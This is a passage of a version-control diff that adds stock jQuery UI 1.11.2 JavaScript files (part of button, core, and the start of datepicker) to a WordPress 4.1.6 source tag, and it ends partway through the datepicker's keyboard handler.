+		items: "button, input[type=button], input[type=submit], input[type=reset], input[type=checkbox], input[type=radio], a, :data(ui-button)"
+	},
+
+	_create: function() {
+		this.element.addClass( "ui-buttonset" );
+	},
+
+	_init: function() {
+		this.refresh();
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "disabled" ) {
+			this.buttons.button( "option", key, value );
+		}
+
+		this._super( key, value );
+	},
+
+	refresh: function() {
+		var rtl = this.element.css( "direction" ) === "rtl",
+			allButtons = this.element.find( this.options.items ),
+			existingButtons = allButtons.filter( ":ui-button" );
+
+		// Initialize new buttons
+		allButtons.not( ":ui-button" ).button();
+
+		// Refresh existing buttons
+		existingButtons.button( "refresh" );
+
+		this.buttons = allButtons
+			.map(function() {
+				return $( this ).button( "widget" )[ 0 ];
+			})
+				.removeClass( "ui-corner-all ui-corner-left ui-corner-right" )
+				.filter( ":first" )
+					.addClass( rtl ? "ui-corner-right" : "ui-corner-left" )
+				.end()
+				.filter( ":last" )
+					.addClass( rtl ? "ui-corner-left" : "ui-corner-right" )
+				.end()
+			.end();
+	},
+
+	_destroy: function() {
+		this.element.removeClass( "ui-buttonset" );
+		this.buttons
+			.map(function() {
+				return $( this ).button( "widget" )[ 0 ];
+			})
+				.removeClass( "ui-corner-left ui-corner-right" )
+			.end()
+			.button( "destroy" );
+	}
+});
+
+return $.ui.button;
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/core.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/core.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/core.js	(revision 33402)
@@ -0,0 +1,304 @@
+/*!
+ * jQuery UI Core 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/category/ui-core/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define( [ "jquery" ], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+// $.ui might exist from components with no dependencies, e.g., $.ui.position
+$.ui = $.ui || {};
+
+$.extend( $.ui, {
+	version: "1.11.2",
+
+	keyCode: {
+		BACKSPACE: 8,
+		COMMA: 188,
+		DELETE: 46,
+		DOWN: 40,
+		END: 35,
+		ENTER: 13,
+		ESCAPE: 27,
+		HOME: 36,
+		LEFT: 37,
+		PAGE_DOWN: 34,
+		PAGE_UP: 33,
+		PERIOD: 190,
+		RIGHT: 39,
+		SPACE: 32,
+		TAB: 9,
+		UP: 38
+	}
+});
+
+// plugins
+$.fn.extend({
+	scrollParent: function( includeHidden ) {
+		var position = this.css( "position" ),
+			excludeStaticParent = position === "absolute",
+			overflowRegex = includeHidden ? /(auto|scroll|hidden)/ : /(auto|scroll)/,
+			scrollParent = this.parents().filter( function() {
+				var parent = $( this );
+				if ( excludeStaticParent && parent.css( "position" ) === "static" ) {
+					return false;
+				}
+				return overflowRegex.test( parent.css( "overflow" ) + parent.css( "overflow-y" ) + parent.css( "overflow-x" ) );
+			}).eq( 0 );
+
+		return position === "fixed" || !scrollParent.length ? $( this[ 0 ].ownerDocument || document ) : scrollParent;
+	},
+
+	uniqueId: (function() {
+		var uuid = 0;
+
+		return function() {
+			return this.each(function() {
+				if ( !this.id ) {
+					this.id = "ui-id-" + ( ++uuid );
+				}
+			});
+		};
+	})(),
+
+	removeUniqueId: function() {
+		return this.each(function() {
+			if ( /^ui-id-\d+$/.test( this.id ) ) {
+				$( this ).removeAttr( "id" );
+			}
+		});
+	}
+});
+
+// selectors
+function focusable( element, isTabIndexNotNaN ) {
+	var map, mapName, img,
+		nodeName = element.nodeName.toLowerCase();
+	if ( "area" === nodeName ) {
+		map = element.parentNode;
+		mapName = map.name;
+		if ( !element.href || !mapName || map.nodeName.toLowerCase() !== "map" ) {
+			return false;
+		}
+		img = $( "img[usemap='#" + mapName + "']" )[ 0 ];
+		return !!img && visible( img );
+	}
+	return ( /input|select|textarea|button|object/.test( nodeName ) ?
+		!element.disabled :
+		"a" === nodeName ?
+			element.href || isTabIndexNotNaN :
+			isTabIndexNotNaN) &&
+		// the element and all of its ancestors must be visible
+		visible( element );
+}
+
+function visible( element ) {
+	return $.expr.filters.visible( element ) &&
+		!$( element ).parents().addBack().filter(function() {
+			return $.css( this, "visibility" ) === "hidden";
+		}).length;
+}
+
+$.extend( $.expr[ ":" ], {
+	data: $.expr.createPseudo ?
+		$.expr.createPseudo(function( dataName ) {
+			return function( elem ) {
+				return !!$.data( elem, dataName );
+			};
+		}) :
+		// support: jQuery <1.8
+		function( elem, i, match ) {
+			return !!$.data( elem, match[ 3 ] );
+		},
+
+	focusable: function( element ) {
+		return focusable( element, !isNaN( $.attr( element, "tabindex" ) ) );
+	},
+
+	tabbable: function( element ) {
+		var tabIndex = $.attr( element, "tabindex" ),
+			isTabIndexNaN = isNaN( tabIndex );
+		return ( isTabIndexNaN || tabIndex >= 0 ) && focusable( element, !isTabIndexNaN );
+	}
+});
+
+// support: jQuery <1.8
+if ( !$( "<a>" ).outerWidth( 1 ).jquery ) {
+	$.each( [ "Width", "Height" ], function( i, name ) {
+		var side = name === "Width" ? [ "Left", "Right" ] : [ "Top", "Bottom" ],
+			type = name.toLowerCase(),
+			orig = {
+				innerWidth: $.fn.innerWidth,
+				innerHeight: $.fn.innerHeight,
+				outerWidth: $.fn.outerWidth,
+				outerHeight: $.fn.outerHeight
+			};
+
+		function reduce( elem, size, border, margin ) {
+			$.each( side, function() {
+				size -= parseFloat( $.css( elem, "padding" + this ) ) || 0;
+				if ( border ) {
+					size -= parseFloat( $.css( elem, "border" + this + "Width" ) ) || 0;
+				}
+				if ( margin ) {
+					size -= parseFloat( $.css( elem, "margin" + this ) ) || 0;
+				}
+			});
+			return size;
+		}
+
+		$.fn[ "inner" + name ] = function( size ) {
+			if ( size === undefined ) {
+				return orig[ "inner" + name ].call( this );
+			}
+
+			return this.each(function() {
+				$( this ).css( type, reduce( this, size ) + "px" );
+			});
+		};
+
+		$.fn[ "outer" + name] = function( size, margin ) {
+			if ( typeof size !== "number" ) {
+				return orig[ "outer" + name ].call( this, size );
+			}
+
+			return this.each(function() {
+				$( this).css( type, reduce( this, size, true, margin ) + "px" );
+			});
+		};
+	});
+}
+
+// support: jQuery <1.8
+if ( !$.fn.addBack ) {
+	$.fn.addBack = function( selector ) {
+		return this.add( selector == null ?
+			this.prevObject : this.prevObject.filter( selector )
+		);
+	};
+}
+
+// support: jQuery 1.6.1, 1.6.2 (http://bugs.jquery.com/ticket/9413)
+if ( $( "<a>" ).data( "a-b", "a" ).removeData( "a-b" ).data( "a-b" ) ) {
+	$.fn.removeData = (function( removeData ) {
+		return function( key ) {
+			if ( arguments.length ) {
+				return removeData.call( this, $.camelCase( key ) );
+			} else {
+				return removeData.call( this );
+			}
+		};
+	})( $.fn.removeData );
+}
+
+// deprecated
+$.ui.ie = !!/msie [\w.]+/.exec( navigator.userAgent.toLowerCase() );
+
+$.fn.extend({
+	focus: (function( orig ) {
+		return function( delay, fn ) {
+			return typeof delay === "number" ?
+				this.each(function() {
+					var elem = this;
+					setTimeout(function() {
+						$( elem ).focus();
+						if ( fn ) {
+							fn.call( elem );
+						}
+					}, delay );
+				}) :
+				orig.apply( this, arguments );
+		};
+	})( $.fn.focus ),
+
+	disableSelection: (function() {
+		var eventType = "onselectstart" in document.createElement( "div" ) ?
+			"selectstart" :
+			"mousedown";
+
+		return function() {
+			return this.bind( eventType + ".ui-disableSelection", function( event ) {
+				event.preventDefault();
+			});
+		};
+	})(),
+
+	enableSelection: function() {
+		return this.unbind( ".ui-disableSelection" );
+	},
+
+	zIndex: function( zIndex ) {
+		if ( zIndex !== undefined ) {
+			return this.css( "zIndex", zIndex );
+		}
+
+		if ( this.length ) {
+			var elem = $( this[ 0 ] ), position, value;
+			while ( elem.length && elem[ 0 ] !== document ) {
+				// Ignore z-index if position is set to a value where z-index is ignored by the browser
+				// This makes behavior of this function consistent across browsers
+				// WebKit always returns auto if the element is positioned
+				position = elem.css( "position" );
+				if ( position === "absolute" || position === "relative" || position === "fixed" ) {
+					// IE returns 0 when zIndex is not specified
+					// other browsers return a string
+					// we ignore the case of nested elements with an explicit value of 0
+					// <div style="z-index: -10;"><div style="z-index: 0;"></div></div>
+					value = parseInt( elem.css( "zIndex" ), 10 );
+					if ( !isNaN( value ) && value !== 0 ) {
+						return value;
+					}
+				}
+				elem = elem.parent();
+			}
+		}
+
+		return 0;
+	}
+});
+
+// $.ui.plugin is deprecated. Use $.widget() extensions instead.
+$.ui.plugin = {
+	add: function( module, option, set ) {
+		var i,
+			proto = $.ui[ module ].prototype;
+		for ( i in set ) {
+			proto.plugins[ i ] = proto.plugins[ i ] || [];
+			proto.plugins[ i ].push( [ option, set[ i ] ] );
+		}
+	},
+	call: function( instance, name, args, allowDisconnected ) {
+		var i,
+			set = instance.plugins[ name ];
+
+		if ( !set ) {
+			return;
+		}
+
+		if ( !allowDisconnected && ( !instance.element[ 0 ].parentNode || instance.element[ 0 ].parentNode.nodeType === 11 ) ) {
+			return;
+		}
+
+		for ( i = 0; i < set.length; i++ ) {
+			if ( instance.options[ set[ i ][ 0 ] ] ) {
+				set[ i ][ 1 ].apply( instance.element, args );
+			}
+		}
+	}
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/datepicker.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/datepicker.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/datepicker.js	(revision 33402)
@@ -0,0 +1,2080 @@
+/*!
+ * jQuery UI Datepicker 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/datepicker/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+$.extend($.ui, { datepicker: { version: "1.11.2" } });
+
+var datepicker_instActive;
+
+function datepicker_getZindex( elem ) {
+	var position, value;
+	while ( elem.length && elem[ 0 ] !== document ) {
+		// Ignore z-index if position is set to a value where z-index is ignored by the browser
+		// This makes behavior of this function consistent across browsers
+		// WebKit always returns auto if the element is positioned
+		position = elem.css( "position" );
+		if ( position === "absolute" || position === "relative" || position === "fixed" ) {
+			// IE returns 0 when zIndex is not specified
+			// other browsers return a string
+			// we ignore the case of nested elements with an explicit value of 0
+			// <div style="z-index: -10;"><div style="z-index: 0;"></div></div>
+			value = parseInt( elem.css( "zIndex" ), 10 );
+			if ( !isNaN( value ) && value !== 0 ) {
+				return value;
+			}
+		}
+		elem = elem.parent();
+	}
+
+	return 0;
+}
+/* Date picker manager.
+   Use the singleton instance of this class, $.datepicker, to interact with the date picker.
+   Settings for (groups of) date pickers are maintained in an instance object,
+   allowing multiple different settings on the same page. */
+
+function Datepicker() {
+	this._curInst = null; // The current instance in use
+	this._keyEvent = false; // If the last event was a key event
+	this._disabledInputs = []; // List of date picker inputs that have been disabled
+	this._datepickerShowing = false; // True if the popup picker is showing , false if not
+	this._inDialog = false; // True if showing within a "dialog", false if not
+	this._mainDivId = "ui-datepicker-div"; // The ID of the main datepicker division
+	this._inlineClass = "ui-datepicker-inline"; // The name of the inline marker class
+	this._appendClass = "ui-datepicker-append"; // The name of the append marker class
+	this._triggerClass = "ui-datepicker-trigger"; // The name of the trigger marker class
+	this._dialogClass = "ui-datepicker-dialog"; // The name of the dialog marker class
+	this._disableClass = "ui-datepicker-disabled"; // The name of the disabled covering marker class
+	this._unselectableClass = "ui-datepicker-unselectable"; // The name of the unselectable cell marker class
+	this._currentClass = "ui-datepicker-current-day"; // The name of the current day marker class
+	this._dayOverClass = "ui-datepicker-days-cell-over"; // The name of the day hover marker class
+	this.regional = []; // Available regional settings, indexed by language code
+	this.regional[""] = { // Default regional settings
+		closeText: "Done", // Display text for close link
+		prevText: "Prev", // Display text for previous month link
+		nextText: "Next", // Display text for next month link
+		currentText: "Today", // Display text for current month link
+		monthNames: ["January","February","March","April","May","June",
+			"July","August","September","October","November","December"], // Names of months for drop-down and formatting
+		monthNamesShort: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"], // For formatting
+		dayNames: ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"], // For formatting
+		dayNamesShort: ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"], // For formatting
+		dayNamesMin: ["Su","Mo","Tu","We","Th","Fr","Sa"], // Column headings for days starting at Sunday
+		weekHeader: "Wk", // Column header for week of the year
+		dateFormat: "mm/dd/yy", // See format options on parseDate
+		firstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ...
+		isRTL: false, // True if right-to-left language, false if left-to-right
+		showMonthAfterYear: false, // True if the year select precedes month, false for month then year
+		yearSuffix: "" // Additional text to append to the year in the month headers
+	};
+	this._defaults = { // Global defaults for all the date picker instances
+		showOn: "focus", // "focus" for popup on focus,
+			// "button" for trigger button, or "both" for either
+		showAnim: "fadeIn", // Name of jQuery animation for popup
+		showOptions: {}, // Options for enhanced animations
+		defaultDate: null, // Used when field is blank: actual date,
+			// +/-number for offset from today, null for today
+		appendText: "", // Display text following the input box, e.g. showing the format
+		buttonText: "...", // Text for trigger button
+		buttonImage: "", // URL for trigger button image
+		buttonImageOnly: false, // True if the image appears alone, false if it appears on a button
+		hideIfNoPrevNext: false, // True to hide next/previous month links
+			// if not applicable, false to just disable them
+		navigationAsDateFormat: false, // True if date formatting applied to prev/today/next links
+		gotoCurrent: false, // True if today link goes back to current selection instead
+		changeMonth: false, // True if month can be selected directly, false if only prev/next
+		changeYear: false, // True if year can be selected directly, false if only prev/next
+		yearRange: "c-10:c+10", // Range of years to display in drop-down,
+			// either relative to today's year (-nn:+nn), relative to currently displayed year
+			// (c-nn:c+nn), absolute (nnnn:nnnn), or a combination of the above (nnnn:-n)
+		showOtherMonths: false, // True to show dates in other months, false to leave blank
+		selectOtherMonths: false, // True to allow selection of dates in other months, false for unselectable
+		showWeek: false, // True to show week of the year, false to not show it
+		calculateWeek: this.iso8601Week, // How to calculate the week of the year,
+			// takes a Date and returns the number of the week for it
+		shortYearCutoff: "+10", // Short year values < this are in the current century,
+			// > this are in the previous century,
+			// string value starting with "+" for current year + value
+		minDate: null, // The earliest selectable date, or null for no limit
+		maxDate: null, // The latest selectable date, or null for no limit
+		duration: "fast", // Duration of display/closure
+		beforeShowDay: null, // Function that takes a date and returns an array with
+			// [0] = true if selectable, false if not, [1] = custom CSS class name(s) or "",
+			// [2] = cell title (optional), e.g. $.datepicker.noWeekends
+		beforeShow: null, // Function that takes an input field and
+			// returns a set of custom settings for the date picker
+		onSelect: null, // Define a callback function when a date is selected
+		onChangeMonthYear: null, // Define a callback function when the month or year is changed
+		onClose: null, // Define a callback function when the datepicker is closed
+		numberOfMonths: 1, // Number of months to show at a time
+		showCurrentAtPos: 0, // The position in multipe months at which to show the current month (starting at 0)
+		stepMonths: 1, // Number of months to step back/forward
+		stepBigMonths: 12, // Number of months to step back/forward for the big links
+		altField: "", // Selector for an alternate field to store selected dates into
+		altFormat: "", // The date format to use for the alternate field
+		constrainInput: true, // The input is constrained by the current date format
+		showButtonPanel: false, // True to show button panel, false to not show it
+		autoSize: false, // True to size the input for the date format, false to leave as is
+		disabled: false // The initial disabled state
+	};
+	$.extend(this._defaults, this.regional[""]);
+	this.regional.en = $.extend( true, {}, this.regional[ "" ]);
+	this.regional[ "en-US" ] = $.extend( true, {}, this.regional.en );
+	this.dpDiv = datepicker_bindHover($("<div id='" + this._mainDivId + "' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>"));
+}
+
+$.extend(Datepicker.prototype, {
+	/* Class name added to elements to indicate already configured with a date picker. */
+	markerClassName: "hasDatepicker",
+
+	//Keep track of the maximum number of rows displayed (see #7043)
+	maxRows: 4,
+
+	// TODO rename to "widget" when switching to widget factory
+	_widgetDatepicker: function() {
+		return this.dpDiv;
+	},
+
+	/* Override the default settings for all instances of the date picker.
+	 * @param  settings  object - the new settings to use as defaults (anonymous object)
+	 * @return the manager object
+	 */
+	setDefaults: function(settings) {
+		datepicker_extendRemove(this._defaults, settings || {});
+		return this;
+	},
+
+	/* Attach the date picker to a jQuery selection.
+	 * @param  target	element - the target input field or division or span
+	 * @param  settings  object - the new settings to use for this date picker instance (anonymous)
+	 */
+	_attachDatepicker: function(target, settings) {
+		var nodeName, inline, inst;
+		nodeName = target.nodeName.toLowerCase();
+		inline = (nodeName === "div" || nodeName === "span");
+		if (!target.id) {
+			this.uuid += 1;
+			target.id = "dp" + this.uuid;
+		}
+		inst = this._newInst($(target), inline);
+		inst.settings = $.extend({}, settings || {});
+		if (nodeName === "input") {
+			this._connectDatepicker(target, inst);
+		} else if (inline) {
+			this._inlineDatepicker(target, inst);
+		}
+	},
+
+	/* Create a new instance object. */
+	_newInst: function(target, inline) {
+		var id = target[0].id.replace(/([^A-Za-z0-9_\-])/g, "\\\\$1"); // escape jQuery meta chars
+		return {id: id, input: target, // associated target
+			selectedDay: 0, selectedMonth: 0, selectedYear: 0, // current selection
+			drawMonth: 0, drawYear: 0, // month being drawn
+			inline: inline, // is datepicker inline or not
+			dpDiv: (!inline ? this.dpDiv : // presentation div
+			datepicker_bindHover($("<div class='" + this._inlineClass + " ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>")))};
+	},
+
+	/* Attach the date picker to an input field. */
+	_connectDatepicker: function(target, inst) {
+		var input = $(target);
+		inst.append = $([]);
+		inst.trigger = $([]);
+		if (input.hasClass(this.markerClassName)) {
+			return;
+		}
+		this._attachments(input, inst);
+		input.addClass(this.markerClassName).keydown(this._doKeyDown).
+			keypress(this._doKeyPress).keyup(this._doKeyUp);
+		this._autoSize(inst);
+		$.data(target, "datepicker", inst);
+		//If disabled option is true, disable the datepicker once it has been attached to the input (see ticket #5665)
+		if( inst.settings.disabled ) {
+			this._disableDatepicker( target );
+		}
+	},
+
+	/* Make attachments based on settings. */
+	_attachments: function(input, inst) {
+		var showOn, buttonText, buttonImage,
+			appendText = this._get(inst, "appendText"),
+			isRTL = this._get(inst, "isRTL");
+
+		if (inst.append) {
+			inst.append.remove();
+		}
+		if (appendText) {
+			inst.append = $("<span class='" + this._appendClass + "'>" + appendText + "</span>");
+			input[isRTL ? "before" : "after"](inst.append);
+		}
+
+		input.unbind("focus", this._showDatepicker);
+
+		if (inst.trigger) {
+			inst.trigger.remove();
+		}
+
+		showOn = this._get(inst, "showOn");
+		if (showOn === "focus" || showOn === "both") { // pop-up date picker when in the marked field
+			input.focus(this._showDatepicker);
+		}
+		if (showOn === "button" || showOn === "both") { // pop-up date picker when button clicked
+			buttonText = this._get(inst, "buttonText");
+			buttonImage = this._get(inst, "buttonImage");
+			inst.trigger = $(this._get(inst, "buttonImageOnly") ?
+				$("<img/>").addClass(this._triggerClass).
+					attr({ src: buttonImage, alt: buttonText, title: buttonText }) :
+				$("<button type='button'></button>").addClass(this._triggerClass).
+					html(!buttonImage ? buttonText : $("<img/>").attr(
+					{ src:buttonImage, alt:buttonText, title:buttonText })));
+			input[isRTL ? "before" : "after"](inst.trigger);
+			inst.trigger.click(function() {
+				if ($.datepicker._datepickerShowing && $.datepicker._lastInput === input[0]) {
+					$.datepicker._hideDatepicker();
+				} else if ($.datepicker._datepickerShowing && $.datepicker._lastInput !== input[0]) {
+					$.datepicker._hideDatepicker();
+					$.datepicker._showDatepicker(input[0]);
+				} else {
+					$.datepicker._showDatepicker(input[0]);
+				}
+				return false;
+			});
+		}
+	},
+
+	/* Apply the maximum length for the date format. */
+	_autoSize: function(inst) {
+		if (this._get(inst, "autoSize") && !inst.inline) {
+			var findMax, max, maxI, i,
+				date = new Date(2009, 12 - 1, 20), // Ensure double digits
+				dateFormat = this._get(inst, "dateFormat");
+
+			if (dateFormat.match(/[DM]/)) {
+				findMax = function(names) {
+					max = 0;
+					maxI = 0;
+					for (i = 0; i < names.length; i++) {
+						if (names[i].length > max) {
+							max = names[i].length;
+							maxI = i;
+						}
+					}
+					return maxI;
+				};
+				date.setMonth(findMax(this._get(inst, (dateFormat.match(/MM/) ?
+					"monthNames" : "monthNamesShort"))));
+				date.setDate(findMax(this._get(inst, (dateFormat.match(/DD/) ?
+					"dayNames" : "dayNamesShort"))) + 20 - date.getDay());
+			}
+			inst.input.attr("size", this._formatDate(inst, date).length);
+		}
+	},
+
+	/* Attach an inline date picker to a div. */
+	_inlineDatepicker: function(target, inst) {
+		var divSpan = $(target);
+		if (divSpan.hasClass(this.markerClassName)) {
+			return;
+		}
+		divSpan.addClass(this.markerClassName).append(inst.dpDiv);
+		$.data(target, "datepicker", inst);
+		this._setDate(inst, this._getDefaultDate(inst), true);
+		this._updateDatepicker(inst);
+		this._updateAlternate(inst);
+		//If disabled option is true, disable the datepicker before showing it (see ticket #5665)
+		if( inst.settings.disabled ) {
+			this._disableDatepicker( target );
+		}
+		// Set display:block in place of inst.dpDiv.show() which won't work on disconnected elements
+		// http://bugs.jqueryui.com/ticket/7552 - A Datepicker created on a detached div has zero height
+		inst.dpDiv.css( "display", "block" );
+	},
+
+	/* Pop-up the date picker in a "dialog" box.
+	 * @param  input element - ignored
+	 * @param  date	string or Date - the initial date to display
+	 * @param  onSelect  function - the function to call when a date is selected
+	 * @param  settings  object - update the dialog date picker instance's settings (anonymous object)
+	 * @param  pos int[2] - coordinates for the dialog's position within the screen or
+	 *					event - with x/y coordinates or
+	 *					leave empty for default (screen centre)
+	 * @return the manager object
+	 */
+	_dialogDatepicker: function(input, date, onSelect, settings, pos) {
+		var id, browserWidth, browserHeight, scrollX, scrollY,
+			inst = this._dialogInst; // internal instance
+
+		if (!inst) {
+			this.uuid += 1;
+			id = "dp" + this.uuid;
+			this._dialogInput = $("<input type='text' id='" + id +
+				"' style='position: absolute; top: -100px; width: 0px;'/>");
+			this._dialogInput.keydown(this._doKeyDown);
+			$("body").append(this._dialogInput);
+			inst = this._dialogInst = this._newInst(this._dialogInput, false);
+			inst.settings = {};
+			$.data(this._dialogInput[0], "datepicker", inst);
+		}
+		datepicker_extendRemove(inst.settings, settings || {});
+		date = (date && date.constructor === Date ? this._formatDate(inst, date) : date);
+		this._dialogInput.val(date);
+
+		this._pos = (pos ? (pos.length ? pos : [pos.pageX, pos.pageY]) : null);
+		if (!this._pos) {
+			browserWidth = document.documentElement.clientWidth;
+			browserHeight = document.documentElement.clientHeight;
+			scrollX = document.documentElement.scrollLeft || document.body.scrollLeft;
+			scrollY = document.documentElement.scrollTop || document.body.scrollTop;
+			this._pos = // should use actual width/height below
+				[(browserWidth / 2) - 100 + scrollX, (browserHeight / 2) - 150 + scrollY];
+		}
+
+		// move input on screen for focus, but hidden behind dialog
+		this._dialogInput.css("left", (this._pos[0] + 20) + "px").css("top", this._pos[1] + "px");
+		inst.settings.onSelect = onSelect;
+		this._inDialog = true;
+		this.dpDiv.addClass(this._dialogClass);
+		this._showDatepicker(this._dialogInput[0]);
+		if ($.blockUI) {
+			$.blockUI(this.dpDiv);
+		}
+		$.data(this._dialogInput[0], "datepicker", inst);
+		return this;
+	},
+
+	/* Detach a datepicker from its control.
+	 * @param  target	element - the target input field or division or span
+	 */
+	_destroyDatepicker: function(target) {
+		var nodeName,
+			$target = $(target),
+			inst = $.data(target, "datepicker");
+
+		if (!$target.hasClass(this.markerClassName)) {
+			return;
+		}
+
+		nodeName = target.nodeName.toLowerCase();
+		$.removeData(target, "datepicker");
+		if (nodeName === "input") {
+			inst.append.remove();
+			inst.trigger.remove();
+			$target.removeClass(this.markerClassName).
+				unbind("focus", this._showDatepicker).
+				unbind("keydown", this._doKeyDown).
+				unbind("keypress", this._doKeyPress).
+				unbind("keyup", this._doKeyUp);
+		} else if (nodeName === "div" || nodeName === "span") {
+			$target.removeClass(this.markerClassName).empty();
+		}
+	},
+
+	/* Enable the date picker to a jQuery selection.
+	 * @param  target	element - the target input field or division or span
+	 */
+	_enableDatepicker: function(target) {
+		var nodeName, inline,
+			$target = $(target),
+			inst = $.data(target, "datepicker");
+
+		if (!$target.hasClass(this.markerClassName)) {
+			return;
+		}
+
+		nodeName = target.nodeName.toLowerCase();
+		if (nodeName === "input") {
+			target.disabled = false;
+			inst.trigger.filter("button").
+				each(function() { this.disabled = false; }).end().
+				filter("img").css({opacity: "1.0", cursor: ""});
+		} else if (nodeName === "div" || nodeName === "span") {
+			inline = $target.children("." + this._inlineClass);
+			inline.children().removeClass("ui-state-disabled");
+			inline.find("select.ui-datepicker-month, select.ui-datepicker-year").
+				prop("disabled", false);
+		}
+		this._disabledInputs = $.map(this._disabledInputs,
+			function(value) { return (value === target ? null : value); }); // delete entry
+	},
+
+	/* Disable the date picker to a jQuery selection.
+	 * @param  target	element - the target input field or division or span
+	 */
+	_disableDatepicker: function(target) {
+		var nodeName, inline,
+			$target = $(target),
+			inst = $.data(target, "datepicker");
+
+		if (!$target.hasClass(this.markerClassName)) {
+			return;
+		}
+
+		nodeName = target.nodeName.toLowerCase();
+		if (nodeName === "input") {
+			target.disabled = true;
+			inst.trigger.filter("button").
+				each(function() { this.disabled = true; }).end().
+				filter("img").css({opacity: "0.5", cursor: "default"});
+		} else if (nodeName === "div" || nodeName === "span") {
+			inline = $target.children("." + this._inlineClass);
+			inline.children().addClass("ui-state-disabled");
+			inline.find("select.ui-datepicker-month, select.ui-datepicker-year").
+				prop("disabled", true);
+		}
+		this._disabledInputs = $.map(this._disabledInputs,
+			function(value) { return (value === target ? null : value); }); // delete entry
+		this._disabledInputs[this._disabledInputs.length] = target;
+	},
+
+	/* Is the first field in a jQuery collection disabled as a datepicker?
+	 * @param  target	element - the target input field or division or span
+	 * @return boolean - true if disabled, false if enabled
+	 */
+	_isDisabledDatepicker: function(target) {
+		if (!target) {
+			return false;
+		}
+		for (var i = 0; i < this._disabledInputs.length; i++) {
+			if (this._disabledInputs[i] === target) {
+				return true;
+			}
+		}
+		return false;
+	},
+
+	/* Retrieve the instance data for the target control.
+	 * @param  target  element - the target input field or division or span
+	 * @return  object - the associated instance data
+	 * @throws  error if a jQuery problem getting data
+	 */
+	_getInst: function(target) {
+		try {
+			return $.data(target, "datepicker");
+		}
+		catch (err) {
+			throw "Missing instance data for this datepicker";
+		}
+	},
+
+	/* Update or retrieve the settings for a date picker attached to an input field or division.
+	 * @param  target  element - the target input field or division or span
+	 * @param  name	object - the new settings to update or
+	 *				string - the name of the setting to change or retrieve,
+	 *				when retrieving also "all" for all instance settings or
+	 *				"defaults" for all global defaults
+	 * @param  value   any - the new value for the setting
+	 *				(omit if above is an object or to retrieve a value)
+	 */
+	_optionDatepicker: function(target, name, value) {
+		var settings, date, minDate, maxDate,
+			inst = this._getInst(target);
+
+		if (arguments.length === 2 && typeof name === "string") {
+			return (name === "defaults" ? $.extend({}, $.datepicker._defaults) :
+				(inst ? (name === "all" ? $.extend({}, inst.settings) :
+				this._get(inst, name)) : null));
+		}
+
+		settings = name || {};
+		if (typeof name === "string") {
+			settings = {};
+			settings[name] = value;
+		}
+
+		if (inst) {
+			if (this._curInst === inst) {
+				this._hideDatepicker();
+			}
+
+			date = this._getDateDatepicker(target, true);
+			minDate = this._getMinMaxDate(inst, "min");
+			maxDate = this._getMinMaxDate(inst, "max");
+			datepicker_extendRemove(inst.settings, settings);
+			// reformat the old minDate/maxDate values if dateFormat changes and a new minDate/maxDate isn't provided
+			if (minDate !== null && settings.dateFormat !== undefined && settings.minDate === undefined) {
+				inst.settings.minDate = this._formatDate(inst, minDate);
+			}
+			if (maxDate !== null && settings.dateFormat !== undefined && settings.maxDate === undefined) {
+				inst.settings.maxDate = this._formatDate(inst, maxDate);
+			}
+			if ( "disabled" in settings ) {
+				if ( settings.disabled ) {
+					this._disableDatepicker(target);
+				} else {
+					this._enableDatepicker(target);
+				}
+			}
+			this._attachments($(target), inst);
+			this._autoSize(inst);
+			this._setDate(inst, date);
+			this._updateAlternate(inst);
+			this._updateDatepicker(inst);
+		}
+	},
+
+	// change method deprecated
+	_changeDatepicker: function(target, name, value) {
+		this._optionDatepicker(target, name, value);
+	},
+
+	/* Redraw the date picker attached to an input field or division.
+	 * @param  target  element - the target input field or division or span
+	 */
+	_refreshDatepicker: function(target) {
+		var inst = this._getInst(target);
+		if (inst) {
+			this._updateDatepicker(inst);
+		}
+	},
+
+	/* Set the dates for a jQuery selection.
+	 * @param  target element - the target input field or division or span
+	 * @param  date	Date - the new date
+	 */
+	_setDateDatepicker: function(target, date) {
+		var inst = this._getInst(target);
+		if (inst) {
+			this._setDate(inst, date);
+			this._updateDatepicker(inst);
+			this._updateAlternate(inst);
+		}
+	},
+
+	/* Get the date(s) for the first entry in a jQuery selection.
+	 * @param  target element - the target input field or division or span
+	 * @param  noDefault boolean - true if no default date is to be used
+	 * @return Date - the current date
+	 */
+	_getDateDatepicker: function(target, noDefault) {
+		var inst = this._getInst(target);
+		if (inst && !inst.inline) {
+			this._setDateFromField(inst, noDefault);
+		}
+		return (inst ? this._getDate(inst) : null);
+	},
+
+	/* Handle keystrokes. */
+	_doKeyDown: function(event) {
+		var onSelect, dateStr, sel,
+			inst = $.datepicker._getInst(event.target),
+			handled = true,
+			isRTL = inst.dpDiv.is(".ui-datepicker-rtl");
+
+		inst._keyEvent = true;
+		if ($.datepicker._datepickerShowing) {
+			switch (event.keyCode) {
+				case 9: $.datepicker._hideDatepicker();
